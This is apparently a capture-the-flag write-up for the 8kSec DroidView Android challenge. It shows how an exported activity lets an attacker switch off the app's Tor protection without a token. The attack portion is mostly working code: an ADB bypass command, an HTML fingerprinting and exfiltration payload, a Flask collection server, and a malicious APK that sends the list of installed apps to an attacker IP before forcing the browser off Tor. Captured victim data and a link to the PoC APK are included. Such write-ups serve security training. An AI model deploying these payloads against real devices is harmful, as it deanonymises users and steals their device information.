8kSec DroidView Ultimate Private Browsing Solution¶
Description: Worried about your online privacy? DroidView provides unmatched protection for your browsing activities! Our advanced security solution routes all your traffic through the secure Tor network, ensuring complete anonymity.
Link: https://academy.8ksec.io/course/android-application-exploitation-challenges
Install the .apk
using ADB
We can see that we can load any arbitrary URL manually. With a toggle that enable "Tor Security".
Let's inspect the source code using JADX.
Exploring the Application¶
Looking in the AndroidManifest.xml
file, we can see that the package name is com.eightksec.droidview
.
And we have just one activity: com.eightksec.droidview.MainActivity
.
This activity can handle some intents:
<activity
android:name="com.eightksec.droidview.MainActivity"
android:exported="true"
android:configChanges="screenSize|orientation">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="http"/>
<data android:scheme="https"/>
</intent-filter>
<intent-filter>
<action android:name="com.eightksec.droidview.LOAD_URL"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<intent-filter>
<action android:name="com.eightksec.droidview.TOGGLE_SECURITY"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>
-
com.eightksec.droidview.LOAD_URL
-
com.eightksec.droidview.TOGGLE_SECURITY
Also, here we have this service:
<service
android:name="com.eightksec.droidview.TokenService"
android:exported="true">
<intent-filter>
<action android:name="com.eightksec.droidview.ITokenService"/>
<action android:name="com.eightksec.droidview.TOKEN_SERVICE"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</service>
Let's see the java code!
Starting with MainActivity
class, we have a lot of functions that we need analyze.
First, we can see some variables:
public static final String ACTION_LOAD_URL = "com.eightksec.droidview.LOAD_URL";
public static final String ACTION_TOGGLE_SECURITY = "com.eightksec.droidview.TOGGLE_SECURITY";
public static final String EXTRA_ENABLE_SECURITY = "enable_security";
public static final String EXTRA_SECURITY_TOKEN = "security_token";
public static final String EXTRA_URL = "url";
In order to prioritize the methods and functions, I will mention just relevant.
onCreate(...)
function:
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
EdgeToEdge.enable(this);
setContentView(C0487R.layout.activity_main);
SecurityTokenManager securityTokenManager = SecurityTokenManager.getInstance(this);
this.securityTokenManager = securityTokenManager;
securityTokenManager.initializeSecurityToken();
startService(new Intent(this, (Class<?>) TokenService.class));
ViewCompat.setOnApplyWindowInsetsListener(findViewById(C0487R.id.main), new OnApplyWindowInsetsListener() {
@Override
public final WindowInsetsCompat onApplyWindowInsets(View view, WindowInsetsCompat windowInsetsCompat) {
return MainActivity.lambda$onCreate$0(view, windowInsetsCompat);
}
});
this.webView = (WebView) findViewById(C0487R.id.webview);
this.urlEditText = (TextInputEditText) findViewById(C0487R.id.edit_url);
this.loadButton = (MaterialButton) findViewById(C0487R.id.btn_load);
this.progressBar = (ProgressBar) findViewById(C0487R.id.progress_circular);
this.securitySwitch = (SwitchMaterial) findViewById(C0487R.id.switch_security);
setupWebView();
boolean z = false;
boolean z2 = getPreferences(0).getBoolean("security_enabled", true);
this.securityEnabled = z2;
this.securitySwitch.setChecked(z2);
ContextCompat.registerReceiver(this, this.securityToggleReceiver, new IntentFilter(ACTION_TOGGLE_SECURITY), 2);
this.securitySwitch.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
@Override
public final void onCheckedChanged(CompoundButton compoundButton, boolean z3) {
MainActivity.this.m235lambda$onCreate$1$comeightksecdroidviewMainActivity(compoundButton, z3);
}
});
Intent intent = getIntent();
if (intent != null) {
String action = intent.getAction();
if (ACTION_LOAD_URL.equals(action) || "android.intent.action.VIEW".equals(action)) {
z = true;
}
}
if (this.securityEnabled && !z) {
startTor();
}
this.loadButton.setOnClickListener(new View.OnClickListener() {
@Override
public final void onClick(View view) {
MainActivity.this.m236lambda$onCreate$2$comeightksecdroidviewMainActivity(view);
}
});
handleIntent(getIntent());
}
This method:
-
Initialize
SecurityTokenManager
and startTokenService
. -
Configure WebView (
setupWebView()
). -
Register
BroadcastReceiver
securityToggleReceiver
forACTION_TOGGLE_SECURITY
. -
Read the persisted
security_enabled
state and, if applicable, callstartTor()
. -
Process the incoming intent with
handleIntent(getIntent())
.
Next, we have the onNewIntent(Intent intent)
function:
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
if (ACTION_TOGGLE_SECURITY.equals(intent.getAction())) {
handleSecurityToggle(intent);
} else {
handleIntent(intent);
}
}
ACTION_TOGGLE_SECURITY
→ handleSecurityToggle(intent)
. Else → handleIntent(intent)
.
Function handleIntent()
code:
private void handleIntent(Intent intent) {
this.isExternalRequest = false;
String str = null;
if (intent != null) {
String action = intent.getAction();
if ("android.intent.action.VIEW".equals(action)) {
Uri data = intent.getData();
if (data != null) {
String uri = data.toString();
this.isExternalRequest = true;
str = uri;
}
} else if (ACTION_LOAD_URL.equals(action)) {
str = intent.getStringExtra(EXTRA_URL);
this.isExternalRequest = true;
}
}
if (str != null && !str.isEmpty()) {
this.urlEditText.setText(str);
if (this.isExternalRequest && !this.securityEnabled) {
clearWebViewProxy();
loadUrl();
return;
}
boolean z = this.securityEnabled;
if (!z || this.torReady) {
loadUrl();
return;
} else {
if (z) {
this.pendingUrl = str;
startTor();
return;
}
return;
}
}
if (this.urlEditText.getText().toString().isEmpty()) {
this.urlEditText.setText("https://check.torproject.org");
}
}
-
Accepts ACTION_VIEW (HTTP/HTTPS) and ACTION_LOAD_URL (extra "URL").
-
Set
isExternalRequest
= true. -
If
securityEnabled
and!torReady
→ delay withpendingUrl
+startTor()
; otherwise,loadUrl()
.
And the vulnerable code is handleSecurityToggle()
:
private void handleSecurityToggle(Intent intent) {
if (intent == null) {
return;
}
try {
boolean booleanExtra = intent.getBooleanExtra(EXTRA_ENABLE_SECURITY, true);
this.securitySwitch.setChecked(booleanExtra);
setSecurityEnabled(booleanExtra);
if (booleanExtra || this.webView.getUrl() == null || this.webView.getUrl().equals("about:blank")) {
return;
}
final String url = this.webView.getUrl();
clearWebViewProxy();
this.webView.clearCache(true);
this.webView.clearHistory();
this.webView.loadUrl("about:blank");
new Handler().postDelayed(new Runnable() {
@Override
public final void run() {
MainActivity.this.m53xdf6bc950(url);
}
}, 500L);
} catch (Exception e) {
Toast.makeText(this, "Error toggling security: " + e.getMessage(), Toast.LENGTH_SHORT).show();
}
}
-
Read
enable_security
and callsetSecurityEnabled(boolean)
WITHOUT validating the token. -
If security is disabled and the current page ≠ about:blank, clear the proxy/cache and reload the URL.
Also we can notice the setupWebView()
with this properties:
WebSettings settings = this.webView.getSettings();
settings.setJavaScriptEnabled(true);
settings.setDomStorageEnabled(true);
settings.setCacheMode(WebSettings.LOAD_DEFAULT);
settings.setAllowContentAccess(true);
settings.setAllowFileAccess(false);
settings.setBuiltInZoomControls(true);
settings.setDisplayZoomControls(false);
settings.setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW);
settings.setBlockNetworkImage(false);
settings.setBlockNetworkLoads(false);
And finally, startTor()
/ stopTor()
But, most important, stopTor()
private void stopTor() {
this.torReady = false;
BroadcastReceiver broadcastReceiver = this.torStatusReceiver;
if (broadcastReceiver != null) {
try {
unregisterReceiver(broadcastReceiver);
this.torStatusReceiver = null;
} catch (Exception unused) {
}
}
try {
stopService(new Intent(this, (Class<?>) TorService.class));
clearWebViewProxy();
Intent intent = new Intent(this, (Class<?>) TorService.class);
intent.setAction(TorControlCommands.SIGNAL_SHUTDOWN);
stopService(intent);
} catch (Exception unused2) {
}
this.executor.execute(new Runnable() {
@Override
public final void run() {
MainActivity.this.m240lambda$stopTor$6$comeightksecdroidviewMainActivity();
}
});
}
And we have the entry point in this Broadcast Receiver:
class C04831 extends BroadcastReceiver {
C04831() {
}
@Override // android.content.BroadcastReceiver
public void onReceive(final Context context, Intent intent) {
if (MainActivity.ACTION_TOGGLE_SECURITY.equals(intent.getAction())) {
try {
final boolean booleanExtra = intent.getBooleanExtra(MainActivity.EXTRA_ENABLE_SECURITY, true);
String stringExtra = intent.getStringExtra(MainActivity.EXTRA_SECURITY_TOKEN);
if (!booleanExtra && !MainActivity.this.validateSecurityToken(stringExtra)) {
Toast.makeText(context, "Error: Invalid security token", Toast.LENGTH_SHORT).show();
} else {
MainActivity.this.handler.post(new Runnable() {
@Override
public final void run() {
MainActivity.C04831.this.m241lambda$onReceive$0$comeightksecdroidviewMainActivity$1(booleanExtra, context);
}
});
}
} catch (Exception unused) {
}
}
}
/* renamed from: lambda$onReceive$0$com-eightksec-droidview-MainActivity$1, reason: not valid java name */
/* synthetic */ void m241lambda$onReceive$0$comeightksecdroidviewMainActivity$1(boolean z, Context context) {
try {
MainActivity.this.securitySwitch.setChecked(z);
MainActivity.this.setSecurityEnabled(z);
Toast.makeText(context, z ? "Enabling Tor Security" : "Disabling Tor Security", Toast.LENGTH_SHORT).show();
if (z || MainActivity.this.webView.getUrl() == null) {
return;
}
String url = MainActivity.this.webView.getUrl();
MainActivity.this.webView.loadUrl("about:blank");
MainActivity.this.webView.loadUrl(url);
} catch (Exception e) {
Toast.makeText(context, "Error toggling security: " + e.getMessage(), Toast.LENGTH_SHORT).show();
}
}
}
-
Only validate the token when receiving a broadcast: if
enable=false
and!validateSecurityToken(token)
→ “Invalid security token”. -
If OK →
securitySwitch.setChecked(z)
+setSecurityEnabled(z)
.
Let's move to SecurityTokenManager
class.
We can see an hardcoded token
But we don't need that.Also, initializeSecurityToken()
that if it doesn't exist: generate random 32B → AES-CBC with random IV and key derived from HARDCODED_TOKEN
.
Then, save Base64 to SQLite.
Another functions, validateToken(String t)
and getCurrentToken()
.
Nothing useful for our attack.
Exploring TokenService
, we can notice an onBind()
that return ITokenServiceStub
.
public class TokenService extends Service {
private static final String TAG = "TokenService";
private final ITokenServiceStub binder = new ITokenServiceStub();
@Override // android.app.Service
public void onCreate() {
super.onCreate();
}
@Override // android.app.Service
public IBinder onBind(Intent intent) {
return this.binder;
}
@Override // android.app.Service
public void onDestroy() {
super.onDestroy();
}
public class ITokenServiceStub extends ITokenService.Stub {
private static final String DESCRIPTOR = "com.eightksec.droidview.ITokenService";
static final int TRANSACTION_disableSecurity = 2;
static final int TRANSACTION_getSecurityToken = 1;
public ITokenServiceStub() {
}
@Override // com.eightksec.droidview.ITokenService
public boolean disableSecurity() throws RemoteException {
return true;
}
@Override // android.os.Binder
public boolean onTransact(int i, Parcel parcel, Parcel parcel2, int i2) throws RemoteException {
if (i == TRANSACTION_getSecurityToken) {
parcel.enforceInterface(DESCRIPTOR);
String securityToken = getSecurityToken();
parcel2.writeNoException();
parcel2.writeString(securityToken);
return true;
}
if (i == TRANSACTION_disableSecurity) {
parcel.enforceInterface(DESCRIPTOR);
boolean disableSecurity = disableSecurity();
parcel2.writeNoException();
parcel2.writeInt(disableSecurity ? 1 : 0);
return true;
}
if (i == 1598968902) {
parcel2.writeString(DESCRIPTOR);
return true;
}
return super.onTransact(i, parcel, parcel2, i2);
}
@Override // com.eightksec.droidview.ITokenService
public String getSecurityToken() throws RemoteException {
return SecurityTokenManager.getInstance(TokenService.this).getCurrentToken();
}
}
}
ITokenServiceStub
: - `getSecurityToken()` → `SecurityTokenManager.getCurrentToken()`
- `disableSecurity()` → `true` (stub)
- `onTransact` exposes transactions 1 (`getSecurityToken`) and 2 (`disableSecurity`)
- Manifest:
<service android:exported="true">
with actionsITokenService
/TOKEN_SERVICE
. WITHOUT PERMISSIONS.
Now, in the interface ITokenService
(AIDL) we can notice:
Finally, TokenClient
that have a callback getSecurityToken(Callback)
:
bindService()
tocom.eightksec.droidview.ITokenService
; aboveonServiceConnected
invokegetSecurityToken()
.public void getSecurityToken(TokenCallback tokenCallback) { this.callback = tokenCallback; Intent intent = new Intent("com.eightksec.droidview.ITokenService"); intent.setPackage("com.eightksec.droidview"); if (this.context.bindService(intent, this.serviceConnection, Context.BIND_AUTO_CREATE) || tokenCallback == null) { return; } tokenCallback.onError("Failed to bind to token service"); }
Bypassing Tor Security¶
First we need disable/bypass the Tor Security protection.
In the Main Activity, we saw that there are some intents, and passing as extras the status of the Tor security.
Active the toggle for Tor Security and then let's check that using ADB
adb shell am start -n com.eightksec.droidview/.MainActivity \
-a com.eightksec.droidview.TOGGLE_SECURITY --ez enable_security false \
--activity-single-top
ez
for boolean values) enable_security
as false. The --activity-single-top
is used for test due that we already was launched the application.
And we can notice that successfully we can bypass the mechanism.
This can be exploited crafting a malicious application that send an intent to target app with the same configuration.
Crafting the payload¶
According to challenge specifications, we must create an payload.html
file that theft device information.
This is the HTML code that will fulfill one of the requirements 8kSec asks of us for the challenge: exfiltrating the IP address, User Agent, and other elements.
<!doctype html>
<meta charset="utf-8">
<title>PoC</title>
<body></body>
<script>
(async () => {
// avoiding urls
try { history.replaceState({}, "", "/"); } catch(e){}
// basic fingerprint from WebView
const n = navigator;
const info = {
ua: n.userAgent,
lang: n.language,
platform: n.platform,
mem: n.deviceMemory || null,
cores: n.hardwareConcurrency || null,
screen: { w: screen.width, h: screen.height, p: devicePixelRatio },
ts: Date.now()
};
// get the external IP
let ip_ext = "unknown";
try {
const r = await fetch("https://api.ipify.org?format=json", { cache: "no-store" });
ip_ext = (await r.json()).ip || "unknown";
} catch (_) {}
// exfil
await fetch("/collect", {
method: "POST",
headers: {"Content-Type":"application/json"},
body: JSON.stringify({ ip_ext, info, apps: [] })
});
// optional, a landing that we can config in the flask server
location.replace("/ok");
})();
</script>
Crafting the Flask server¶
We can craft a simple Flask server like:
from flask import Flask, request, send_from_directory, jsonify
from datetime import datetime
import os, json
APP_DIR = os.path.dirname(os.path.abspath(__file__))
# save the content in a log file
LOG = os.path.join(APP_DIR, "captures.log")
app = Flask(__name__)
@app.get("/")
def root():
# redirect to payload.html
return send_from_directory(APP_DIR, "payload.html")
@app.get("/ok")
def ok():
# our landing page, just an OK
return "<h1>OK</h1>"
# will collect all the data and applications using the package name enumerator
@app.post("/collect")
def collect():
try:
data = request.get_json(force=True, silent=True) or {}
except Exception:
data = {"_raw": request.data.decode("utf-8", "ignore")}
# verify apps
if data.get("apps"):
print("INSTALLED APPLICATIONS:", len(data["apps"]))
entry = {
"ts": datetime.utcnow().isoformat()+"Z",
"remote_addr": request.headers.get("X-Forwarded-For", request.remote_addr),
"ua": request.headers.get("User-Agent"),
"data": data
}
print("[+] hit:", json.dumps(entry, ensure_ascii=False))
with open(LOG, "a", encoding="utf-8") as f:
f.write(json.dumps(entry, ensure_ascii=False) + "\n")
return jsonify({"ok": True})
# serve the server in port 8080
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=True)
PoC - APK¶
Finally, the code that will trigger all of above.
Since we need get the package name for all apps installed, and then, send to our flask server, we need add into our AndroidManifest.xml
file the internet permission.
android:usesCleartextTraffic="true"
in the <application
attributes. Full AndroidManifest.xml
file:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="com.lautarovculic.droidviewexploit">
<uses-permission android:name="android.permission.INTERNET" />
<application
android:allowBackup="true"
android:label="@string/app_name"
android:icon="@mipmap/ic_launcher"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:usesCleartextTraffic="true"
android:theme="@style/Theme.DroidViewExploit">
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
</application>
</manifest>
Let's create the Java code. I just needed the MainActivity
class for the logic.
package com.lautarovculic.droidviewexploit;
import android.content.ComponentName;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.net.Uri;
import android.os.Bundle;
import android.os.Handler;
import android.util.Log;
import androidx.appcompat.app.AppCompatActivity;
import org.json.JSONArray;
import org.json.JSONObject;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.List;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// get all the installed applications and put in a JSON array
PackageManager pm = getPackageManager();
List<ApplicationInfo> apps = pm.getInstalledApplications(0);
JSONArray appsArray = new JSONArray();
for (ApplicationInfo app : apps) {
appsArray.put(app.packageName);
}
// first exfiltrate/send the applications list to the server
new Thread(() -> {
try {
URL url = new URL("http://192.168.0.124:8080/collect");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST");
conn.setDoOutput(true);
conn.setRequestProperty("Content-Type", "application/json");
JSONObject payloadJson = new JSONObject();
payloadJson.put("ip_ext", "local_exploit");
payloadJson.put("info", new JSONObject());
payloadJson.put("apps", appsArray);
try (OutputStream os = conn.getOutputStream()) {
os.write(payloadJson.toString().getBytes("UTF-8"));
}
int code = conn.getResponseCode();
Log.d("EXPLOIT", "POST /collect -> " + code);
conn.disconnect();
} catch (Exception e) {
Log.e("EXPLOIT", "exfil failed", e);
}
// And then, launch the DroidView app
runOnUiThread(() -> {
Intent open = new Intent(Intent.ACTION_VIEW, Uri.parse("http://192.168.0.124:8080/"));
open.setPackage("com.eightksec.droidview");
open.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(open);
// very important, disable the toggle
new Handler().postDelayed(() -> {
Intent toggle = new Intent("com.eightksec.droidview.TOGGLE_SECURITY");
toggle.setComponent(new ComponentName("com.eightksec.droidview", "com.eightksec.droidview.MainActivity"));
toggle.putExtra("enable_security", false);
toggle.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_SINGLE_TOP);
startActivity(toggle);
}, 1000);
});
}).start();
}
}
Download PoC: https://lautarovculic.com/my_files/DroidViewExploit.apk
Notice that we first send the application list to our server before that send the intent to DroidView.
This is because if we send the intent to DroidView first, our app will be in background, and DroidView in foreground, and the theft of packages names will never happen in this order.
Put the server to run and then, launch the application. Remember change the IP server by your own.
Output:192.168.0.6 - - [31/Aug/2025 14:44:36] "POST /collect HTTP/1.1" 200 -
192.168.0.6 - - [31/Aug/2025 14:44:38] "GET / HTTP/1.1" 200 -
{
"INSTALLED_APPLICATIONS": 235,
"hit": {
"ts": "2025-08-31T17:43:33.255927Z",
"remote_addr": "192.168.0.6",
"ua": "Dalvik/2.1.0 (Linux; U; Android 11; Redmi Note 8 Build/RKQ1.201004.002)",
"data": {
"ip_ext": "local_exploit",
"info": {},
"apps": [
"com.miui.screenrecorder",
"com.lautarovculic.droidviewexploit",
"com.qualcomm.qti.qcolor",
"com.google.android.ext.services",
"com.qualcomm.qti.improvetouch.service",
"com.android.providers.telephony",
"com.android.dynsystem",
"com.miui.powerkeeper",
"com.goodix.fingerprint",
"com.xiaomi.miplay_client",
"com.miui.fm",
"com.android.providers.calendar"
[...]
[...]
[...]
[...]
[...]
{
"hit": {
"ts": "2025-08-31T17:44:39.523716Z",
"remote_addr": "192.168.0.6",
"ua": "Mozilla/5.0 (Linux; Android 11; Redmi Note 8 Build/RKQ1.201004.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/139.0.7258.143 Mobile Safari/537.36",
"data": {
"ip_ext": "REDACTED",
"info": {
"ua": "Mozilla/5.0 (Linux; Android 11; Redmi Note 8 Build/RKQ1.201004.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/139.0.7258.143 Mobile Safari/537.36",
"lang": "en-US",
"platform": "Linux aarch64",
"mem": null,
"cores": 8,
"screen": {
"w": 393,
"h": 851,
"p": 2.75
},
"ts": 1756662280365
},
"apps": []
}
}
}
I hope you found it useful (: